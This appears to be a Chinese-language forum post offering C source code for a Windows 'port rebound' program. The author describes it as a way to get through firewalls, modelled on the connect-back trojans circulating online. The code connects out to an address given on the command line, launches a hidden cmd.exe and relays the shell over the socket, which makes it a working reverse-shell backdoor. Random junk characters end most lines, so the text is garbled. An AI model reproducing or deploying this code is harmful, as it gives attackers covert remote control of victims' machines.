Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 K@+(6\6I  
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/* ============================== 'Lv>!s 7  
Rebound port in Windows NT "r.eN_d  
By wind,2006/7 ao.v]6a  
===============================*/ nXcOFU  
#include d"JI4)%  
#include P*sb@y>}O  
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#pragma comment(lib,"wsock32.lib") \
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CGN:=D<  
void OutputShell(); Dh{sVRA  
SOCKET sClient; b0"R |d[i  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?*)wQZt;  
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void main(int argc,char **argv) :p,DAt}  
{ 8t Ef>  
WSADATA stWsaData; F B7.b  
int nRet; 7Yd]#K{$  
SOCKADDR_IN stSaiClient,stSaiServer; {pW(@4U  
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if(argc != 3) [P?.(*  
{ 
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printf("Useage:\n\rRebound DestIP DestPort\n"); 7e D<(  
return; 9a0ibN6m  
} d 1b
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#-Nc1+gu  
WSAStartup(MAKEWORD(2,2),&stWsaData); >@NGX-gp  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Rt10:9Kz$  
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stSaiClient.sin_family = AF_INET; vx8-~Oq{|;  
stSaiClient.sin_port = htons(0); u4p){|x7s  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); v22ZwP  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $S _VR  
{ a4iq_F#NF  
printf("Bind Socket Failed!\n"); &lYe  
return; *wetPt)~v_  
} j9Y'HU5"  
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stSaiServer.sin_family = AF_INET;
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); SvD^'( x  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); t)/:VImY  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) nofK(0TF  
{ juc;]CHt'  
printf("Connect Error!"); P1f@?R&t+  
return; H%AC *,  
} c_YP#U  
OutputShell(); j? P=}_Ru  
} XKq}^M&gy  
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void OutputShell() 8~
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{ T=n)ea A  
char szBuff[1024]; nd/.]"  
SECURITY_ATTRIBUTES stSecurityAttributes; m=u
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OSVERSIONINFO stOsversionInfo; rF8nz:8  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ai,Nx:r   
STARTUPINFO stStartupInfo; 5*W<6ia  
char *szShell; XLNR%)l  
PROCESS_INFORMATION stProcessInformation; k^Q>  
unsigned long lBytesRead; ,:1_I`d>#X  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bAa+MB#A  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8S_v} NUm  
stSecurityAttributes.lpSecurityDescriptor = 0; };=44E'7  
stSecurityAttributes.bInheritHandle = TRUE; u4UQMj|q  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); P,@ :?6  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); NlnmeTLO5  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L)Iv]u  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;5fq[v^P:  
stStartupInfo.wShowWindow = SW_HIDE; )+ss)LEC  
stStartupInfo.hStdInput = hReadPipe; vtS[Tkk|A  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; BRg(h3 ED  
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GetVersionEx(&stOsversionInfo); L93KsI  
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switch(stOsversionInfo.dwPlatformId) }.j09[<  
{ f\~OG#AaX  
case 1: ZdP2}w  
szShell = "command.com"; ~3u'=u9
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break; pl{Pur ;i  
default: B
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szShell = "cmd.exe"; #nS  
break; j>70AE3[8  
} 1hQeuG  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); .;&1"b8G  
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send(sClient,szMsg,77,0); UFox
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while(1) _Bh ^<D-  
{ CQ+WBTiC  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *75?%l  
if(lBytesRead) (t\ F>A  
{ +80yyn#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]"Qm25`Qz  
send(sClient,szBuff,lBytesRead,0); j5yxdjx9  
} 9(PQ7}  
else k}yUD 0Y  
{ (gn)<JJS}  
lBytesRead=recv(sClient,szBuff,1024,0); 0DFxVH_xN  
if(lBytesRead<=0) break; m:1f7Z>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ??!+2G#%!  
} ' N@1+v=  
} ]hxE^/87  
,%FBELqOW  
return; P,ox))+6  
}